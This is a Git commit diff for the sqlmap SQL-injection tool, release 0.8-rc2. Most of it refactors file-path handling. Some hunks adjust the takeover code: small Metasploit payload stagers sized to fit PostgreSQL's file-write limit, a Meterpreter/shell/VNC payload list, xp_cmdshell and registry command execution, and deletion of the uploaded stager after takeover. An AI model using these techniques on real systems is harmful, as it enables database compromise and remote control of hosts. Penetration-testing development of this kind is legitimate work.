Skip to content

Commit e4e081c

Browse files
committed
sqlmap 0.8-rc2: minor enhancement based on msfencode 3.3.3-dev -t exe-small so that also PostgreSQL supports again the out-of-band via Metasploit payload stager optionally to shellcode execution in-memory via sys_bineval() UDF. Speed up OOB connect back. Cleanup target file system after --os-pwn too. Minor bug fix to correctly forge file system paths with os.path.join() all around. Minor code refactoring and user's manual update.
1 parent a605980 commit e4e081c

File tree

12 files changed

+103
-76
lines changed

12 files changed

+103
-76
lines changed

doc/README.sgml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,7 @@ sqlmap relies on the <htmlurl url="http://metasploit.com/framework/"
5151
name="Metasploit Framework"> for some of its post-exploitation takeover
5252
functionalities. You need to grab a copy of it from the
5353
<htmlurl url="http://metasploit.com/framework/download/" name="download">
54-
page. The required version is <bf>3.3</bf> or above.
54+
page. The required version is <bf>3.3.3</bf> or above.
5555

5656
Optionally, if you are running sqlmap on Windows, you may wish to install
5757
<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline">
@@ -4356,7 +4356,7 @@ PostgreSQL and Microsoft SQL Server.
43564356
sqlmap relies on the <htmlurl url="http://metasploit.com/framework"
43574357
name="Metasploit"> to perform this attack, so you need to have it already
43584358
on your system: it's free and can be downloaded from the homepage. It is
4359-
required to use Metasploit Framework version 3.3 or above.
4359+
required to use Metasploit Framework version 3.3.3 or above.
43604360

43614361
<p>
43624362
Note that this feature is not supported by sqlmap running on Windows

lib/core/common.py

Lines changed: 20 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -560,27 +560,27 @@ def cleanQuery(query):
560560

561561
def setPaths():
562562
# sqlmap paths
563-
paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH
564-
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
565-
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
566-
paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH
567-
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
568-
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
569-
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
570-
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
571-
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
563+
paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
564+
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell")
565+
paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt")
566+
paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf")
567+
paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml")
568+
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
569+
paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
570+
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
571+
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
572572

573573
# sqlmap files
574-
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
575-
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
576-
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
577-
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
578-
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
579-
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
580-
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
581-
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
582-
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
583-
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
574+
paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history")
575+
paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
576+
paths.FUZZ_VECTORS = os.path.join(paths.SQLMAP_TXT_PATH, "fuzz_vectors.txt")
577+
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
578+
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
579+
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
580+
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
581+
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
582+
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
583+
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
584584

585585

586586
def weAreFrozen():
@@ -845,7 +845,7 @@ def searchEnvPath(fileName):
845845

846846
for envPath in envPaths:
847847
envPath = envPath.replace(";", "")
848-
result = os.path.exists(os.path.normpath("%s/%s" % (envPath, fileName)))
848+
result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
849849

850850
if result == True:
851851
break

lib/core/option.py

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -325,10 +325,10 @@ def __setMetasploit():
325325

326326
if conf.msfPath:
327327
condition = os.path.exists(os.path.normpath(conf.msfPath))
328-
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
329-
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath))
330-
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath))
331-
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath))
328+
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfcli")))
329+
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfconsole")))
330+
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfencode")))
331+
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfpayload")))
332332

333333
if condition:
334334
debugMsg = "provided Metasploit Framework 3 path "
@@ -364,10 +364,10 @@ def __setMetasploit():
364364
for envPath in envPaths:
365365
envPath = envPath.replace(";", "")
366366
condition = os.path.exists(os.path.normpath(envPath))
367-
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
368-
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
369-
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath))
370-
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath))
367+
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfcli")))
368+
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfconsole")))
369+
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfencode")))
370+
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfpayload")))
371371

372372
if condition:
373373
infoMsg = "Metasploit Framework 3 has been found "

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@
3030

3131

3232
# sqlmap version and site
33-
VERSION = "0.8-rc1"
33+
VERSION = "0.8-rc2"
3434
VERSION_STRING = "sqlmap/%s" % VERSION
3535
SITE = "http://sqlmap.sourceforge.net"
3636

lib/parse/headers.py

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,8 @@
2424

2525

2626

27+
import os
28+
2729
from xml.sax import parse
2830

2931
from lib.core.common import checkFile
@@ -46,13 +48,13 @@ def headersParser(headers):
4648
kb.headersCount += 1
4749

4850
topHeaders = {
49-
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
50-
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
51-
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
52-
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
53-
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
54-
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
55-
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
51+
"cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
52+
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
53+
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
54+
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"),
55+
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
56+
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
57+
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml")
5658
}
5759

5860
for header in headers:

lib/request/connect.py

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -85,6 +85,9 @@ def getPage(**kwargs):
8585
else:
8686
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
8787

88+
if silent is True:
89+
socket.setdefaulttimeout(3)
90+
8891
if direct:
8992
if "?" in url:
9093
url, params = url.split("?")
@@ -202,7 +205,7 @@ def getPage(**kwargs):
202205

203206
return None, None
204207

205-
if silent == True:
208+
if silent is True:
206209
return None, None
207210

208211
elif conf.retriesCount < conf.retries:
@@ -213,11 +216,15 @@ def getPage(**kwargs):
213216

214217
time.sleep(1)
215218

219+
socket.setdefaulttimeout(conf.timeout)
216220
return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent)
217221

218222
else:
223+
socket.setdefaulttimeout(conf.timeout)
219224
raise sqlmapConnectionException, warnMsg
220225

226+
socket.setdefaulttimeout(conf.timeout)
227+
221228
parseResponse(page, responseHeaders)
222229
responseMsg += "(%s - %d):\n" % (status, code)
223230

lib/takeover/metasploit.py

Lines changed: 36 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -73,16 +73,16 @@ def __initVars(self):
7373
self.localIP = getLocalIP()
7474
self.remoteIP = getRemoteIP()
7575

76-
self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath)
77-
self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath)
78-
self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath)
79-
self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath)
76+
self.__msfCli = os.path.normpath(os.path.join(conf.msfPath, "msfcli"))
77+
self.__msfConsole = os.path.normpath(os.path.join(conf.msfPath, "msfconsole"))
78+
self.__msfEncode = os.path.normpath(os.path.join(conf.msfPath, "msfencode"))
79+
self.__msfPayload = os.path.normpath(os.path.join(conf.msfPath, "msfpayload"))
8080

8181
self.__msfPayloadsList = {
8282
"windows": {
8383
1: ( "Meterpreter (default)", "windows/meterpreter" ),
84-
3: ( "Shell", "windows/shell" ),
85-
4: ( "VNC", "windows/vncinject" ),
84+
2: ( "Shell", "windows/shell" ),
85+
3: ( "VNC", "windows/vncinject" ),
8686
},
8787
"linux": {
8888
1: ( "Shell", "linux/x86/shell" ),
@@ -254,7 +254,7 @@ def __selectPayload(self, askChurrasco=True):
254254

255255
break
256256

257-
elif askChurrasco == False:
257+
elif askChurrasco is False:
258258
logger.warn("beware that the VNC injection might not work")
259259

260260
break
@@ -361,7 +361,7 @@ def __forgeMsfConsoleCmd(self):
361361

362362

363363
def __forgeMsfConsoleResource(self):
364-
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
364+
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
365365

366366
self.__prepareIngredients(encode=False, askChurrasco=False)
367367

@@ -542,7 +542,7 @@ def createMsfShellcode(self, exitfunc, format, extra, encode):
542542
logger.info(infoMsg)
543543

544544
self.__randStr = randomStr(lowercase=True)
545-
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
545+
self.__shellcodeFilePath = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
546546

547547
self.__initVars()
548548
self.__prepareIngredients(encode=encode, askChurrasco=False)
@@ -592,10 +592,20 @@ def createMsfPayloadStager(self, initialize=True):
592592
self.__randStr = randomStr(lowercase=True)
593593

594594
if kb.os == "Windows":
595-
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
596-
self.__fileFormat = "exe"
595+
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s.exe" % self.__randStr)
596+
597+
# Metasploit developers added support for the old exe format
598+
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
599+
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
600+
# This is useful for sqlmap because on PostgreSQL it is not
601+
# possible to write files bigger than 8192 bytes abusing the
602+
# lo_export() feature implemented in sqlmap.
603+
if kb.dbms == "PostgreSQL":
604+
self.__fileFormat = "exe-small"
605+
else:
606+
self.__fileFormat = "exe"
597607
else:
598-
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
608+
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
599609
self.__fileFormat = "elf"
600610

601611
if initialize == True:
@@ -614,7 +624,7 @@ def createMsfPayloadStager(self, initialize=True):
614624
payloadStderr = process.communicate()[1]
615625

616626
if kb.os == "Windows":
617-
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
627+
payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
618628
else:
619629
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
620630

@@ -623,10 +633,18 @@ def createMsfPayloadStager(self, initialize=True):
623633
if payloadSize:
624634
payloadSize = payloadSize.group(1)
625635
exeSize = os.path.getsize(self.exeFilePathLocal)
626-
packedSize = upx.pack(self.exeFilePathLocal)
636+
637+
# Only pack the payload stager if the back-end DBMS is not
638+
# PostgreSQL because for this DBMS, sqlmap uses the
639+
# Metasploit's old exe format
640+
if self.__fileFormat != "exe-small":
641+
packedSize = upx.pack(self.exeFilePathLocal)
642+
else:
643+
packedSize = None
644+
627645
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
628646

629-
if packedSize and packedSize != exeSize:
647+
if packedSize and packedSize < exeSize:
630648
debugMsg += "as a compressed portable executable its size "
631649
debugMsg += "is %d bytes, decompressed it " % packedSize
632650
debugMsg += "was %s bytes large" % exeSize
@@ -666,6 +684,9 @@ def pwn(self, goUdf=False):
666684
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
667685
logger.debug(debugMsg)
668686

687+
if goUdf is False:
688+
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
689+
669690

670691
def smb(self):
671692
self.__initVars()

lib/takeover/registry.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
4545

4646
self.__randStr = randomStr(lowercase=True)
4747
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
48-
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
48+
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
4949

5050
if parse == True:
5151
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
@@ -108,7 +108,7 @@ def readRegKey(self, regKey, regValue, parse=False):
108108

109109
data = self.evalCmd(self.__batPathRemote, first)
110110

111-
self.delRemoteTempFile(self.__batPathRemote, bat=True)
111+
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
112112

113113
return data
114114

@@ -124,7 +124,7 @@ def addRegKey(self, regKey, regValue, regType, regData):
124124
logger.debug(debugMsg)
125125

126126
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
127-
self.delRemoteTempFile(self.__batPathRemote, bat=True)
127+
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
128128

129129

130130
def delRegKey(self, regKey, regValue):
@@ -138,4 +138,4 @@ def delRegKey(self, regKey, regValue):
138138
logger.debug(debugMsg)
139139

140140
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
141-
self.delRemoteTempFile(self.__batPathRemote, bat=True)
141+
self.delRemoteFile(self.__batPathRemote, doubleslash=True)

lib/takeover/upx.py

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ def __initialize(self, srcFile, dstFile=None):
5252
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
5353

5454
elif "win" in PLATFORM:
55-
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
55+
self.__upxPath = "%s\upx\windows\upx.exe" % paths.SQLMAP_CONTRIB_PATH
5656

5757
elif "linux" in PLATFORM:
5858
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
@@ -80,17 +80,17 @@ def pack(self, srcFile, dstFile=None):
8080
pollProcess(process)
8181
upxStdout, upxStderr = process.communicate()
8282

83-
warnMsg = "failed to compress the file"
83+
msg = "failed to compress the file"
8484

8585
if "NotCompressibleException" in upxStdout:
86-
warnMsg += " because you provided a Metasploit version above "
87-
warnMsg += "3.3-dev revision 6681. This will not inficiate "
88-
warnMsg += "the correct execution of sqlmap. It might "
89-
warnMsg += "only slow down a bit the execution of sqlmap"
90-
logger.info(warnMsg)
86+
msg += " because you provided a Metasploit version above "
87+
msg += "3.3-dev revision 6681. This will not inficiate "
88+
msg += "the correct execution of sqlmap. It might "
89+
msg += "only slow down a bit the execution"
90+
logger.debug(msg)
9191

9292
elif upxStderr:
93-
logger.warn(warnMsg)
93+
logger.warn(msg)
9494

9595
else:
9696
return os.path.getsize(srcFile)

lib/takeover/xp_cmdshell.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -144,7 +144,7 @@ def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
144144

145145
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
146146

147-
self.delRemoteTempFile(tmpFile)
147+
self.delRemoteFile(tmpFile)
148148

149149
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
150150
inject.goStacked("DELETE FROM %s" % self.cmdTblName)

plugins/generic/misc.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -73,11 +73,11 @@ def getRemoteTempPath(self):
7373
setRemoteTempPath()
7474

7575

76-
def delRemoteTempFile(self, tempFile, bat=False):
76+
def delRemoteFile(self, tempFile, doubleslash=False):
7777
self.checkDbmsOs()
7878

7979
if kb.os == "Windows":
80-
if bat is True:
80+
if doubleslash is True:
8181
tempFile = tempFile.replace("/", "\\\\")
8282
else:
8383
tempFile = tempFile.replace("/", "\\")

0 commit comments

Comments
 (0)